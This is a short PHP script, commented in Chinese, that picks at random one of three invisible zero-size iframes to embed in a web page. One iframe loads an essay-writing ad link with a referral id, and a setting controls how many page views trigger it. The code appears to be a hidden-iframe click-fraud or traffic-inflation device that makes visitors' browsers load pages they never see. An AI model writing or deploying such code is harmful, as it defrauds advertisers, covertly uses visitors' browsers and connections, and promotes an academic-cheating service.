﻿<?php

//点击间隔，设置多少pv点击一次
$ClickInterval = 2;

$urllist=array();
$urllist[0]='<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://www.baidu.com"></iframe>';  
$urllist[1]='<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://www.baidu.com"></iframe>';  
$urllist[2]='<iframe width="0" height="0" frameborder="0" scrolling="no" src="https://ad.edugram.com/buy-research-paper?rid=3cd73b7856f95179"></iframe>';  

$ci = rand(0,count($urllist)-1);   
$DisplayClickCode = $urllist[$ci];
//echo $ci;
//echo $DisplayClickCode;
?>